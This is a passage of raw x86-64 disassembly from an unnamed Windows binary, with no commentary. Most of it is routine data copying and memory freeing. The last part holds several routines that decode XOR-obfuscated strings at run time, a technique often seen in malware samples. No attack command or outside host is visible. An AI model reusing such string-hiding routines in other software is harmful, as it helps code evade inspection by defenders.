mov qword [rsp + 0x1f0], rax
movups xmm0, xmmword [rcx + 8]
movaps xmmword [rsp + 0x1e0], xmm0
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x390], rax
mov rax, qword [rsp + 0x1d0]
mov qword [rsp + 0x2b0], rax
mov qword [rsp + 0xd0], r12
mov qword [rsp + 0xd8], rbx
mov rbx, rcx
lea rax, [rsp + 0x390]
mov qword [rsp + 0xe0], rax
lea rcx, [0x140065eb5]
mov qword [rsp + 0xe8], rcx
lea rax, [rsp + 0x2b0]
mov qword [rsp + 0xf0], rax
mov qword [rsp + 0xf8], rcx
lea rax, [0x140343128]
mov qword [rbx], rax
mov qword [rbx + 8], 4
mov qword [rbx + 0x20], 0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 3
lea rcx, [rsp + 0x4d8]
mov rdx, rbx
call fcn.140061c40
cmp qword [rsp + 0x1e0], 0
je 0x14004294f
mov r8, qword [rsp + 0x1e8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
lea r15, [rsp + 0xd0]
lea rdx, [rsp + 0x4d8]
mov rcx, r15
call fcn.140033590
mov rax, qword [r15 + 0x38]
cmp rax, 5
mov ecx, 4
cmovae rcx, rax
mov qword [r15 + 0x40], rcx
mov ecx, 0xa
mov rdi, rbx
mov rsi, r15
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [rsp + 0x80]
movups xmmword [r15 + 0x98], xmm0
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmm2, xmmword [rsp + 0x60]
movups xmm3, xmmword [rsp + 0x70]
movups xmmword [r15 + 0x88], xmm3
movups xmmword [r15 + 0x78], xmm2
movups xmmword [r15 + 0x58], xmm0
movups xmmword [r15 + 0x68], xmm1
xorps xmm0, xmm0
movaps xmmword [r15 + 0x20], xmm0
movups xmmword [r15 + 0x38], xmm0
movups xmmword [r15 + 0xa8], xmm0
movaps xmmword [r15], xmm0
xor eax, eax
mov qword [r15 + 0x10], rax
mov r13d, 8
mov qword [r15 + 0x18], r13
mov qword [r15 + 0x30], r13
mov qword [r15 + 0x48], r13
mov qword [r15 + 0x50], rax
lea r14, [r12 + r13]
add r13, rbx
mov qword [rsp + 0x328], r13
mov qword [rsp + 0x1b0], r14
lea rcx, [rsp + 0x1e0]
mov rdx, r15
call fcn.1401e19f6
mov rax, qword [rsp + 0x1e0]
cmp rax, 3
je 0x1400437ff
mov qword [rsp + 0x40], rax
mov ecx, 0xf
mov rdi, r13
mov rsi, r14
rep movsq qword [rdi], qword [rsi]
cmp rax, 2
jne 0x140042a56
mov rcx, rbx
call fcn.14002168b
jmp 0x140042a11
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x38], rax
mov r12, qword [rsp + 0x230]
mov rbx, qword [rsp + 0x238]
mov qword [rsp + 0x2b0], r12
mov qword [rsp + 0x2b8], rbx
lea rbp, [rsp + 0x2b0]
mov qword [rsp + 0x390], rbp
lea rax, [0x1401a9d30]
mov qword [rsp + 0x398], rax
lea rax, [0x140343a30]
mov qword [rsp + 0x40], rax
mov eax, 2
mov qword [rsp + 0x48], rax
xor r13d, r13d
mov qword [rsp + 0x60], r13
lea r14, [rsp + 0x390]
mov qword [rsp + 0x50], r14
mov r15d, 1
mov qword [rsp + 0x58], r15
lea rdi, [rsp + 0x1e0]
mov rcx, rdi
lea rdx, [rsp + 0x40]
call fcn.140061c40
mov rax, qword [rsp + 0x1e0]
mov qword [rsp + 0x1c0], rax
mov rax, qword [rsp + 0x1e8]
mov rsi, qword [rsp + 0x1f0]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x2b0], r12
mov qword [rsp + 0xc8], rbx
mov qword [rsp + 0x2b8], rbx
mov qword [rsp + 0x390], rbp
mov rbp, rax
lea rax, [0x1401a9d30]
mov qword [rsp + 0x398], rax
lea rbx, [rsp + 0x40]
lea rax, [0x140343a60]
mov qword [rsp + 0x40], rax
mov eax, 2
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x58], r15
mov rcx, rdi
mov rdx, rbx
call fcn.140061c40
mov r12, qword [rsp + 0x1e0]
mov r15, qword [rsp + 0x1e8]
mov r13, qword [rsp + 0x1f0]
mov rcx, rbx
mov rdx, rbp
mov r8, rsi
call fcn.1401a6630
cmp dword [rsp + 0x40], 2
jne 0x140042bc9
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x1e0], 2
mov r14, qword [rsp + 0x1b0]
jmp 0x140042c35
mov ecx, 9
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x1e0], 2
mov r14, qword [rsp + 0x1b0]
je 0x140042c35
mov rcx, rbx
mov rdx, r15
mov r8, r13
call fcn.1401a6630
cmp dword [rsp + 0x40], 2
jne 0x140042c17
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x1e0], 2
jmp 0x140042c35
mov ecx, 9
lea rdi, [rsp + 0x1e0]
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x1e0], 2
jne 0x140042ca6
mov rcx, r14
call fcn.1401c3218
test r12, r12
je 0x140042c54
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, r15
call qword [0x14033d4d0]
cmp qword [rsp + 0x1c0], 0
lea r15, [rsp + 0xd0]
mov r13, qword [rsp + 0x328]
je 0x140042c81
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rbp
call qword [0x14033d4d0]
cmp qword [rsp + 0x38], 0
je 0x140042a11
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, qword [rsp + 0x30]
call qword [0x14033d4d0]
jmp 0x140042a11
mov qword [rsp + 0x358], r12
mov rcx, rbx
mov rbx, qword [0x14047d008]
mov r14, qword [0x14047d010]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1401b6930
mov r13, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov rcx, rdi
call fcn.1401e779c
mov qword [rsp + 0x1b8], rax
mov rsi, rdx
mov rcx, rdx
mov rdx, r13
mov r8, rdi
call fcn.140330ef0
shl r14, 3
lea r13, [r14 + r14*2]
xor r14d, r14d
mov r12, rbx
cmp r13, r14
je 0x140042d34
cmp qword [r12 + 0x10], rdi
jne 0x140042d2a
mov rcx, qword [rbx + r14 + 8]
mov rdx, rsi
mov r8, rdi
call fcn.140331930
test eax, eax
je 0x140042d34
add r12, 0x18
add r14, 0x18
jmp 0x140042d0a
cmp qword [rsp + 0x1b8], 0
je 0x140042d51
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x40]
movabs rcx, 0x8000000000000000
cmp rax, rcx
lea rbx, [rsp + 0x40]
mov r12, qword [rsp + 0x358]
je 0x140042d8b
test rax, rax
je 0x140042d8b
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
cmp r13, r14
mov r14, qword [rsp + 0x1b0]
jne 0x140042c3d
mov rcx, rbx
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1401b6930
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rcx, rsi
call fcn.1401e779c
mov r12, rax
mov r14, rdx
mov rcx, rdx
mov rdx, rdi
mov r8, rsi
call fcn.140330ef0
mov rax, qword [rsp + 0x40]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140042e04
test rax, rax
je 0x140042e04
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov rcx, r14
mov rdx, rsi
call fcn.1401a9820
test rax, rax
je 0x14004978d
mov r8, rdx
mov rcx, rbx
mov rdx, rax
call fcn.140096fa0
cmp qword [rsp + 0x40], 0
jne 0x140049799
mov rcx, rbx
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1401b6930
mov r13, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rcx, rsi
call fcn.1401e779c
mov qword [rsp + 0x1b8], rax
mov rdi, rdx
mov rcx, rdx
mov rdx, r13
mov r8, rsi
call fcn.140330ef0
mov rdx, qword [0x14047d010]
cmp rdx, qword [section..data]
jne 0x140042e95
lea rcx, [section..data]
call fcn.140174acd
mov rdx, qword [0x14047d010]
mov qword [rsp + 0x350], r12
mov qword [rsp + 0x418], r14
mov rax, qword [0x14047d008]
lea rcx, [rdx + rdx*2]
mov rdx, qword [rsp + 0x1b8]
mov qword [rax + rcx*8], rdx
mov qword [rax + rcx*8 + 8], rdi
mov qword [rax + rcx*8 + 0x10], rsi
inc qword [0x14047d010]
mov rax, qword [rsp + 0x40]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140042efa
test rax, rax
je 0x140042efa
mov r8, qword [rsp + 0x48]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
lea rcx, [rsp + 0x2b0]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1401b6930
mov rsi, qword [rsp + 0x2b8]
mov r13, qword [rsp + 0x2c0]
mov rcx, r13
call fcn.1401e779c
mov qword [rsp + 0x1b8], rax
mov rdi, rdx
mov rcx, rdx
mov rdx, rsi
mov r8, r13
call fcn.140330ef0
lea rcx, [rsp + 0x390]
mov rdx, rdi
mov r8, r13
call fcn.1400629e0
mov rsi, qword [rsp + 0x398]
mov r13, qword [rsp + 0x3a0]
mov qword [rsp + 0x20], 1
mov rcx, rbx
mov rdx, rsi
mov r8, r13
lea r9, [0x1403b68f8]
call fcn.14009c3a0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], r13
mov word [rsp + 0xb8], 1
xor r13d, r13d
mov r12, qword [rsp + 0x88]
lea rcx, [rsp + 0x1e0]
mov rdx, rbx
call fcn.1400335f6
cmp qword [rsp + 0x1e0], 0
je 0x140042fff
mov r14, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0xa8]
add r12, rcx
sub r14, rcx
mov qword [rsp + 0xa8], rax
cmp byte [rsp + 0xb9], 0
mov r13, r12
je 0x140042fa7
jmp 0x140043052
cmp byte [rsp + 0xb9], 0
je 0x140043013
test r13, r13
jne 0x140043055
jmp 0x1400498a9
cmp byte [rsp + 0xb8], 0
je 0x14004302f
mov r12, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xb0]
jmp 0x140043044
mov r12, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xb0]
cmp rax, r12
je 0x140043009
sub rax, r12
add r12, qword [rsp + 0x88]
mov r14, rax
mov r13, r12
mov qword [rsp + 0x268], r13
mov qword [rsp + 0x270], r14
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x40], rax
lea rcx, [0x140030f70]
mov qword [rsp + 0x48], rcx
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
lea rax, [rsp + 0x268]
mov qword [rsp + 0x60], rax
lea rax, [0x140066290]
mov qword [rsp + 0x68], rax
lea rax, [0x140343ab0]
mov qword [rsp + 0x1e0], rax
mov eax, 3
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x1f8], rax
lea rcx, [rsp + 0x360]
lea rbx, [rsp + 0x1e0]
mov rdx, rbx
call fcn.140061c40
cmp qword [rsp + 0x390], 0
je 0x140043116
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
cmp qword [rsp + 0x1b8], 0
je 0x140043133
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x2b0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140043166
test rax, rax
je 0x140043166
mov r8, qword [rsp + 0x2b8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov r14, qword [rsp + 0x360]
mov rsi, qword [rsp + 0x368]
mov r8, qword [rsp + 0x370]
lea rcx, [rsp + 0x40]
mov rdx, rsi
call fcn.140061f90
mov rdi, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rcx, rdi
call fcn.1401a5c10
mov qword [rsp + 0x1e0], rax
test rax, rax
je 0x1400431b2
mov rcx, rbx
call fcn.1401c3218
cmp qword [rsp + 0x40], 0
je 0x1400431cc
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
call qword [0x14033d4d0]
test r14, r14
lea rbx, [rsp + 0x40]
je 0x1400431e8
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
lea rcx, [rsp + 0x2b0]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1401b6930
mov rsi, qword [rsp + 0x2b8]
mov r13, qword [rsp + 0x2c0]
mov rcx, r13
call fcn.1401e779c
mov qword [rsp + 0x1b8], rax
mov rdi, rdx
mov rcx, rdx
mov rdx, rsi
mov r8, r13
call fcn.140330ef0
lea rcx, [rsp + 0x390]
mov rdx, rdi
mov r8, r13
call fcn.1400629e0
mov rsi, qword [rsp + 0x398]
mov r13, qword [rsp + 0x3a0]
mov qword [rsp + 0x20], 1
mov rcx, rbx
mov rdx, rsi
mov r8, r13
lea r9, [0x1403b68f8]
call fcn.14009c3a0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], r13
mov word [rsp + 0xb8], 1
xor r13d, r13d
mov r12, qword [rsp + 0x88]
lea rcx, [rsp + 0x1e0]
mov rdx, rbx
call fcn.1400335f6
cmp qword [rsp + 0x1e0], 0
je 0x1400432ed
mov r14, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0xa8]
add r12, rcx
sub r14, rcx
mov qword [rsp + 0xa8], rax
cmp byte [rsp + 0xb9], 0
mov r13, r12
je 0x140043295
jmp 0x140043340
cmp byte [rsp + 0xb9], 0
je 0x140043301
test r13, r13
jne 0x140043343
jmp 0x1400498b5
cmp byte [rsp + 0xb8], 0
je 0x14004331d
mov r12, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xb0]
jmp 0x140043332
mov r12, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xb0]
cmp rax, r12
je 0x1400432f7
sub rax, r12
add r12, qword [rsp + 0x88]
mov r14, rax
mov r13, r12
mov qword [rsp + 0x268], r13
mov qword [rsp + 0x270], r14
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x40], rax
lea rcx, [0x140030f70]
mov qword [rsp + 0x48], rcx
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
lea rax, [rsp + 0x268]
mov qword [rsp + 0x60], rax
lea rax, [0x140066290]
mov qword [rsp + 0x68], rax
lea rax, [0x140343af8]
mov qword [rsp + 0x1e0], rax
mov eax, 3
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x1f8], rax
lea rcx, [rsp + 0x360]
lea rbx, [rsp + 0x1e0]
mov rdx, rbx
call fcn.140061c40
cmp qword [rsp + 0x390], 0
je 0x140043404
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
cmp qword [rsp + 0x1b8], 0
je 0x140043421
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x2b0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140043454
test rax, rax
je 0x140043454
mov r8, qword [rsp + 0x2b8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov r14, qword [rsp + 0x360]
mov rsi, qword [rsp + 0x368]
mov r8, qword [rsp + 0x370]
lea rcx, [rsp + 0x40]
mov rdx, rsi
call fcn.140061f90
mov rdi, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rcx, rdi
call fcn.1401a5c10
mov qword [rsp + 0x1e0], rax
test rax, rax
je 0x1400434a0
mov rcx, rbx
call fcn.1401c3218
cmp qword [rsp + 0x40], 0
je 0x1400434ba
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
call qword [0x14033d4d0]
mov qword [rsp + 0x1b8], r15
test r14, r14
lea rbx, [rsp + 0x40]
je 0x1400434de
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
lea rcx, [rsp + 0x2b0]
mov rdx, qword [rsp + 0x30]
mov r8, qword [rsp + 0xc8]
call fcn.1401b6930
mov r15, qword [rsp + 0x2b8]
mov r13, qword [rsp + 0x2c0]
mov rcx, r13
call fcn.1401e779c
mov rsi, rax
mov rdi, rdx
mov rcx, rdx
mov rdx, r15
mov r8, r13
call fcn.140330ef0
lea rcx, [rsp + 0x390]
mov rdx, rdi
mov r8, r13
call fcn.1400629e0
mov r15, qword [rsp + 0x398]
mov r13, qword [rsp + 0x3a0]
mov qword [rsp + 0x20], 1
mov rcx, rbx
mov rdx, r15
mov r8, r13
lea r9, [0x1403b68f8]
call fcn.14009c3a0
mov qword [rsp + 0xa8], 0
mov qword [rsp + 0xb0], r13
mov word [rsp + 0xb8], 1
xor r13d, r13d
mov r12, qword [rsp + 0x88]
lea rcx, [rsp + 0x1e0]
mov rdx, rbx
call fcn.1400335f6
cmp qword [rsp + 0x1e0], 0
je 0x1400435de
mov r14, qword [rsp + 0x1e8]
mov rax, qword [rsp + 0x1f0]
mov rcx, qword [rsp + 0xa8]
add r12, rcx
sub r14, rcx
mov qword [rsp + 0xa8], rax
cmp byte [rsp + 0xb9], 0
mov r13, r12
je 0x140043586
jmp 0x140043631
cmp byte [rsp + 0xb9], 0
je 0x1400435f2
test r13, r13
jne 0x140043634
jmp 0x1400498c1
cmp byte [rsp + 0xb8], 0
je 0x14004360e
mov r12, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xb0]
jmp 0x140043623
mov r12, qword [rsp + 0xa8]
mov rax, qword [rsp + 0xb0]
cmp rax, r12
je 0x1400435e8
sub rax, r12
add r12, qword [rsp + 0x88]
mov r14, rax
mov r13, r12
mov qword [rsp + 0x268], r13
mov qword [rsp + 0x270], r14
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x40], rax
lea rcx, [0x140030f70]
mov qword [rsp + 0x48], rcx
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rcx
lea rax, [rsp + 0x268]
mov qword [rsp + 0x60], rax
lea rax, [0x140066290]
mov qword [rsp + 0x68], rax
lea rax, [0x140343b40]
mov qword [rsp + 0x1e0], rax
mov eax, 3
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x1f0], rbx
mov qword [rsp + 0x1f8], rax
lea rcx, [rsp + 0x360]
lea rdx, [rsp + 0x1e0]
call fcn.140061c40
cmp qword [rsp + 0x390], 0
je 0x1400436f2
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, r15
call qword [0x14033d4d0]
test rsi, rsi
mov r12, qword [rsp + 0x358]
je 0x140043711
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
call qword [0x14033d4d0]
mov rax, qword [rsp + 0x2b0]
movabs rcx, 0x8000000000000000
cmp rax, rcx
mov r15, qword [rsp + 0x1b8]
je 0x14004374c
test rax, rax
je 0x14004374c
mov r8, qword [rsp + 0x2b8]
mov rcx, qword [0x1404845c0]
xor edx, edx
call qword [0x14033d4d0]
mov r14, qword [rsp + 0x360]
mov rsi, qword [rsp + 0x368]
mov r8, qword [rsp + 0x370]
mov rcx, rbx
mov rdx, rsi
call fcn.140061f90
mov rdi, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x50]
mov rcx, rdi
call fcn.1401a5c10
mov qword [rsp + 0x1e0], rax
test rax, rax
je 0x14004379b
lea rcx, [rsp + 0x1e0]
call fcn.1401c3218
cmp qword [rsp + 0x40], 0
je 0x1400437b5
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rdi
call qword [0x14033d4d0]
test r14, r14
je 0x1400437cc
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, rsi
call qword [0x14033d4d0]
cmp qword [rsp + 0x350], 0
mov r14, qword [rsp + 0x1b0]
je 0x140042c3d
mov rcx, qword [0x1404845c0]
xor edx, edx
mov r8, qword [rsp + 0x418]
call qword [0x14033d4d0]
jmp 0x140042c3d
lea rsi, [rsp + 0xd0]
mov rcx, rsi
call fcn.14001dd0f
xor edi, edi
mov qword [rsp + 0x290], rdi
mov qword [rsp + 0x298], 8
mov qword [rsp + 0x2a0], rdi
lea rax, [0x14033bfd0]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xc298dc5458f81e55
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.14003281b
xorps xmm0, xmm0
movaps xmmword [rsi], xmm0
mov dl, 1
lea rcx, str.zES
movzx r9d, byte [rdi + rcx]
mov r8, rdi
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rdi
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rdi
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rbx, rdi
or rbx, 4
movzx ebx, byte [rbx + rcx]
mov r14, rdi
or r14, 5
movzx r14d, byte [r14 + rcx]
mov r15, rdi
or r15, 6
mov r12, rdi
or r12, 7
movzx r15d, byte [r15 + rcx]
movzx r12d, byte [r12 + rcx]
shl r12, 0x38
shl r15, 0x30
or r15, r12
shl r14, 0x28
shl rbx, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rbx
or r8, r14
or r8, r15
xor r8, qword [rax + rdi]
mov qword [rsp + rdi + 0xd0], r8
mov edi, 8
test dl, 1
mov edx, 0
jne 0x14004385e
mov ecx, 0x71c82b6c
xor ecx, dword [rax + 0x10]
mov dword [rsp + 0xe0], ecx
mov al, byte [rax + 0x14]
xor al, 0xfe
mov byte [rsp + 0xe4], al
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x40], xmm0
mov rax, qword [rsp + 0xdd]
mov qword [rsp + 0x4d], rax
mov ecx, 0x15
call fcn.1401e779c
mov rdi, rax
mov rbx, rdx
mov rax, qword [rsp + 0x4d]
mov qword [rdx + 0xd], rax
movaps xmm0, xmmword [rsp + 0x40]
movups xmmword [rdx], xmm0
mov rdx, qword [rsp + 0x2a0]
cmp rdx, qword [rsp + 0x290]
jne 0x140043982
lea r14, [rsp + 0x290]
mov rcx, r14
call fcn.140174acd
mov rdx, qword [r14 + 0x10]
mov rax, qword [rsp + 0x298]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], rdi
mov qword [rax + rcx*8 + 8], rbx
mov qword [rax + rcx*8 + 0x10], 0x15
inc rdx
mov qword [rsp + 0x2a0], rdx
lea rax, [0x14033b259]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0x1bfc742e9f9e0ae7
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.14003228f
movabs r14, 0x2867a3d227caa8f8
xor r14, qword [rax]
movzx ebp, byte [rax + 0xa]
movzx r15d, word [rax + 8]
xor r15d, 0x365c
xor bpl, 0xac
mov ecx, 0xb
call fcn.1401e779c
mov rdi, rax
mov rbx, rdx
mov qword [rdx], r14
mov word [rdx + 8], r15w
mov byte [rdx + 0xa], bpl
mov rdx, qword [rsp + 0x2a0]
cmp rdx, qword [rsp + 0x290]
jne 0x140043a44
lea r14, [rsp + 0x290]
mov rcx, r14
call fcn.140174acd
mov rdx, qword [r14 + 0x10]
mov rax, qword [rsp + 0x298]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], rdi
mov qword [rax + rcx*8 + 8], rbx
mov qword [rax + rcx*8 + 0x10], 0xb
inc rdx
mov qword [rsp + 0x2a0], rdx
lea rax, [0x140339e71]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0xdb982c7bb0457715
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.1400324fb
xorps xmm0, xmm0
movaps xmmword [rsp + 0xd0], xmm0
mov cl, 1
xor edx, edx
lea r8, [0x140343115]
movzx r10d, byte [rdx + r8]
mov r9, rdx
or r9, 1
movzx r9d, byte [r9 + r8]
mov r11, rdx
or r11, 2
movzx r11d, byte [r11 + r8]
mov rdi, rdx
or rdi, 3
movzx edi, byte [rdi + r8]
mov rbx, rdx
or rbx, 4
movzx ebx, byte [rbx + r8]
mov r14, rdx
or r14, 5
movzx r14d, byte [r14 + r8]
mov r15, rdx
or r15, 6
mov r12, rdx
or r12, 7
movzx r15d, byte [r15 + r8]
movzx r12d, byte [r12 + r8]
shl r12, 0x38
shl r15, 0x30
or r15, r12
shl r14, 0x28
shl rbx, 0x20
shl rdi, 0x18
shl r11, 0x10
shl r9, 8
or r9, r10
or r9, r11
or r9, rdi
or r9, rbx
or r9, r14
or r9, r15
xor r9, qword [rax + rdx]
mov qword [rsp + rdx + 0xd0], r9
mov edx, 8
test cl, 1
mov ecx, 0
jne 0x140043ab9
movzx ecx, byte [rax + 0x12]
movzx eax, word [rax + 0x10]
xor eax, 0xb506
mov word [rsp + 0xe0], ax
xor cl, 0xef
mov byte [rsp + 0xe2], cl
movaps xmm0, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x40], xmm0
mov eax, dword [rsp + 0xdf]
mov dword [rsp + 0x4f], eax
mov ecx, 0x13
call fcn.1401e779c
mov rdi, rax
mov rbx, rdx
mov eax, dword [rsp + 0x4f]
mov dword [rdx + 0xf], eax
movdqa xmm0, xmmword [rsp + 0x40]
movdqu xmmword [rdx], xmm0
mov rdx, qword [rsp + 0x2a0]
cmp rdx, qword [rsp + 0x290]
jne 0x140043be0
lea r14, [rsp + 0x290]
mov rcx, r14
call fcn.140174acd
mov rdx, qword [r14 + 0x10]
mov rax, qword [rsp + 0x298]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], rdi
mov qword [rax + rcx*8 + 8], rbx
mov qword [rax + rcx*8 + 0x10], 0x13
inc rdx
mov qword [rsp + 0x2a0], rdx
lea rax, [0x140342e78]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
movabs rax, 0x32e417e188125c1b
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xd0]
call fcn.140032038
movabs rbx, 0x2932a54ce1b5d106
xor rbx, qword [rax]
mov ebp, 0xcef86ba1
xor ebp, dword [rax + 8]
movzx r14d, byte [rax + 0xe]
movzx r15d, word [rax + 0xc]
xor r15d, 0x6687
xor r14b, 9
mov ecx, 0xf
call fcn.1401e779c
mov rsi, rax
mov rdi, rdx
mov qword [rdx], rbx
mov dword [rdx + 8], ebp
mov word [rdx + 0xc], r15w
mov byte [rdx + 0xe], r14b
mov rdx, qword [rsp + 0x2a0]
cmp rdx, qword [rsp + 0x290]
jne 0x140043cae
lea rbx, [rsp + 0x290]
mov rcx, rbx
call fcn.140174acd
mov rdx, qword [rbx + 0x10]
mov rax, qword [rsp + 0x298]
lea rcx, [rdx + rdx*2]
mov qword [rax + rcx*8], rsi
mov qword [rax + rcx*8 + 8], rdi
mov qword [rax + rcx*8 + 0x10], 0xf
inc rdx
mov qword [rsp + 0x2a0], rdx
lea rsi, [rsp + 0xd0]
mov rcx, rsi
call fcn.140066042
mov rax, qword [rsi]
mov rbx, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
lea rdx, [rcx + rcx*2]
lea r12, [rbx + rdx*8]
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], r12
test rcx, rcx
je 0x140043ea8
lea r13, [rsp + 0x368]
add rbx, 0x18
lea rbp, [0x1403431a8]
lea rsi, [rsp + 0x390]
lea rdi, [rsp + 0xd0]
mov rax, qword [rbx - 0x18]
movups xmm0, xmmword [rbx - 0x10]
movaps xmmword [rsp + 0x330], xmm0
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140043ea0
mov qword [rsp + 0x360], rax
movaps xmm0, xmmword [rsp + 0x330]
movups xmmword [r13], xmm0
lea rax, [rsp + 0x360]
mov qword [rsp + 0x268], rax
lea rax, [0x140030f70]
mov qword [rsp + 0x270], rax
mov qword [rsp + 0xd0], rbp
mov qword [rsp + 0xd8], 2
mov qword [rsp + 0xf0], 0
lea rax, [rsp + 0x268]
mov qword [rsp + 0xe0], rax
mov qword [rsp + 0xe8], 1
mov rcx, rsi
mov rdx, rdi
call fcn.140061c40
mov r14, qword [rsp + 0x390]
mov r15, qword [rsp + 0x398]
mov r8, qword [rsp + 0x3a0]
mov rcx, rdi
mov rdx, r15
call fcn.1400629e0
mov rdx, qword [rsp + 0x2a0]
cmp rdx, qword [rsp + 0x290]
jne 0x140043e1d
lea rcx, [rsp + 0x290]
call fcn.140174acd
mov rdx, qword [rsp + 0x2a0]
mov rax, qword [rsp + 0x298]
lea rcx, [rdx + rdx*2]
mov r8, qword [rsp + 0xe0]
mov qword [rax + rcx*8 + 0x10], r8
movdqu xmm0, xmmword [rsp + 0xd0]
movdqu xmmword [rax + rcx*8], xmm0
inc rdx
mov qword [rsp + 0x2a0], rdx
test r14, r14
je 0x140043e66
